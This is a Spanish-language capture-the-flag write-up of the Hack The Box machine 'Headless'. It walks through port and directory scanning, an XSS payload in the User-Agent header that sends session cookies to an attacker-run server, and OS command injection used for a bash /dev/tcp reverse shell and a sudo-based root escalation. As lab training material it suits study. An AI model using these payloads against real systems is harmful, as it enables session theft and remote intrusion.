Reconocimiento
Nmap
Escaneamos la maquina para ver que puertos tiene abiertos;
nmap -p- --open --min-rate 5000 -Pn -n 10.10.11.8
Vemos que tiene el puerto 22
y 5000
Suponemos que el puerto 5000
es de una web, vamos al navegador y ponemos la ip con el puerto 5000
:
Vamos a hacer fuzzing para ver que directorios podemos encontrar:
Gobuster
gobuster dir -u http://headless.htb:5000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20
Vemos 2 directorios vamos a ver que tiene cada uno:
/support
:
Muy interesante esta página podemos enviar información
/dashboard
:
Podemos ver que aquí no tenemos permiso de momento
Intrusión
Hemos visto que en /support
hay un panel de soporte para enviar información, vamos a intentar un XSS para intentar robar alguna cookie de sesión:
Primero nos abrimos un servidor en python para que nos llegue la cookie:
python3 -m http.server
XSS
Ahora definimos el XSS:
<script>
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.15.68/?coockie=' + document.cookie);
request.send();
</script>
Con todo esto vamos a intentar robar alguna cookie:
Que interesante nos ha bloqueado estas entradas para el XSS
Vamos a pasar la petición por Burpsuite:
Visto esto vamos a intentar el mismo XSS pero en los demás campos:
Hemos probado en el User-Agent y nos ha llegado la cookie al servidor:
Con esta cookie de sesión vamos a probar a entrar al /dashboard
:
Efectivamente tenemos acceso
Explotación
Ahora que somos admin vemos una nueva pagina, vamos a pasar la petición del botón por Burpsuite:
OS Command Injection
Por la estructura vemos que puede ser un OS command injection
en el apartado de date, vamos a intentar ejecutar algún comando:
Efectivamente podemos inyectar comandos
Con esto vamos a pasarnos una shell:
bash -c "bash -i >& /dev/tcp/10.10.15.68/443 0>&1"
La url encodeamos:
bash+-c+"bash+-i+>%26+/dev/tcp/10.10.15.68/443+0>%261"
Primero nos ponemos en escucha por el puerto 443:
nc lvnp 443
Tenemos acceso!
TTY Upgrade
script /dev/null -c bash
^z
stty raw -echo; fg
reset
xterm
export TERM=xterm SHELL=bash
Ya tenemos la user flag:
Escalada de Privilegios
Ponemos sudo -l
para ver si hay algo que se pueda ejecutar como sudo
sin contraseña:
Efectivamente vamos a ver por dentro ese programa para ver como poder inyectar una bash:
Ahí podemos ver que si no hay /usr/bin/pgrep
se ejecuta initdb.sh, vamos a poner /bin/bash
dentro de initdb.sh y permisos de ejecución:
chmod +x initdb.sh
Ahora vamos a probar de ser root:
Ya está!